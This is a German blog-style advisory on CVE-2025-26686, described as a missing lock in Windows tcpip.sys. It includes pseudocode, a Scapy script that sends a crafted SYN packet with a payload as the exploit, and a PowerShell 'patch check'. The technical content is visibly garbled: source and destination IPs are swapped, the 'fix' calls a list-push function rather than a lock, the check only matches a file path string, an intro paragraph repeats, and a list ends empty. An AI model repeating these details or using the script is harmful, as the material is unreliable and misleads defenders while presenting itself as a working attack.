
Eine kritische RCE-Schwachstelle im Windows TCP/IP-Stack (CVE-2025-26686) hinterlässt sensiblen Speicher entsperrt, sodass entfernte Angreifer Systeme übernehmen können. Sie ist über das Netzwerk ausnutzbar und riskiert eine vollständige Kompromittierung. Jetzt patchen.
Eine kritische RCE-Schwachstelle im Windows‑TCP/IP‑Stack (CVE‑2025‑26686) lässt sensiblen Speicher ungeschützt, sodass Angreifer Systeme aus der Ferne übernehmen können. Sie ist über das Netzwerk ausnutzbar und riskiert eine vollständige Kompromittierung. Jetzt patchen!
Von Mark Mallia
Typ: Remote Code Execution (RCE)
Schweregrad: Kritisch
Angriffsvektor: Netzwerkbasiert
Betroffene Systeme: Windows 10, 11 und Server‑Editionen
Ein neuer Fehler, identifiziert als CVE‑2025‑26686, wurde im TCP/IP‑Stack von Microsoft entdeckt. Er rührt von einer fehlenden Sperre auf einem kritischen Speicherbereich her, der kryptografische Schlüssel, Sitzungsdaten oder Netzwerkkonfiguration speichert. Da der Bereich während der Paketverarbeitung nicht geschützt ist, kann ein Angreifer diese Informationen über das Netzwerk lesen oder ändern und Zugriff mit lokalen Administratorrechten erlangen.
Der TCP/IP‑Stack in Windows 10/11/Server erwirbt keinen ordnungsgemäßen Spin‑Lock, wenn er in bestimmte Puffer schreibt, die Sitzungsdaten enthalten. Die fehlende Sperre bedeutet, dass zwei Pakete gegeneinander rennen können, sodass ein Angreifer bösartigen Code in den Puffer einfügen kann, bevor der ursprüngliche Prozess seinen Schreibvorgang beendet.
Wichtige Punkte:
Die Schwachstelle tritt im Modul tcpip.sys auf, insbesondere in der Routine, die eingehende TCP‑Segmente verarbeitet. Der Codepfad, der für die Aktualisierung des Blocks „Sitzungsdaten“ verantwortlich ist, sollte eine Sperre erwerben, bevor er in den Speicher schreibt. In aktuellen Windows‑Versionen wird die Sperre in einem bedingten Zweig weggelassen, was zu einem ungeschützten Schreibvorgang führen kann.
Ein minimal reproduzierbares Beispiel ist unten gezeigt (C++‑artiger Pseudocode).
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
In einer korrekt geschützten Version wäre der kritische Abschnitt durch einen interlocked Spin‑Lock geschützt:
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
Der Patch fügt einen Aufruf von _InterlockedPushEntrySList hinzu, der exklusiven Zugriff auf sessionData während der Aktualisierung gewährleistet.
Die Schwachstelle wird ausgelöst, wenn ein eingehendes TCP‑Segment mit SYN‑Flag tcpip.sys erreicht.
Um das Paket an diesen Codepfad anzupassen, setzen wir die folgenden Felder:
Layer Feld Typischer Wert für CVE‑2025‑26686 IP src IP‑Adresse des Zielhosts (z.B. 10.0.0.10) dst IP des Angreifers (z.B. 192.168.1.2) TCP sport Port des Angreifers (z.B. 4444) dport Lauschport des Zieldienstes (z.B. 80 für HTTP) flags „S“ für SYN, um den Zweig in TcpIpHandleSegment zu treffen
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
An diesem Punkt können Sie die Paketstruktur überprüfen:
pkt.show()
Die Ausgabe zeigt Felder wie IP → src, dst; TCP → sport, dport, flags; und einen Raw‑Payload von 512 Bytes.
Dies ist die genaue Sequenz, die Windows erwartet, wenn es eingehende Segmente mit dem SYN‑Flag verarbeitet.
send(pkt)
Der Befehl sendet das Paket direkt von Ihrem Rechner in den TCP/IP‑Stack des Zielhosts.
Wenn Sie das Skript auf einer Linux‑VM mit installiertem Scapy ausführen, erreicht das Paket die Windows‑Maschine und löst den Codepfad in tcpip.sys aus.
Da der Angreifer Speicher modifizieren kann, der kryptografische Schlüssel oder Sitzungskonfiguration enthält, ermöglicht der Fehler:
Ein Schnellprüfskript kann verwendet werden, um das Vorhandensein der Sperre im System zu überprüfen:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
Wenn PatchPresent $True zurückgibt, ist die Minderung vorhanden.
CVE‑2025‑26686 ist nicht nur eine weitere Zeile in einer Schwachstellendatenbank – es ist ein Weckruf. Wenn grundlegende Komponenten wie der TCP/IP‑Stack kompromittiert werden, sind die Auswirkungen im gesamten Netzwerk und in der gesamten Branche zu spüren. Der Fehler erinnert uns daran, dass selbst die vertrauenswürdigsten Systeme ständige Überprüfung und Sorgfalt erfordern. Als Ingenieure und Verteidiger ist es nicht nur unsere Verantwortung, diese Schwachstellen zu verstehen, sondern mit Integrität zu handeln. Die hier geteilten Informationen sind ausschließlich für die ethische Nutzung bestimmt, um Verteidigungsmaßnahmen zu stärken, verantwortungsvolles Patchen zu informieren und Organisationen zu befähigen, ihre Benutzer zu schützen.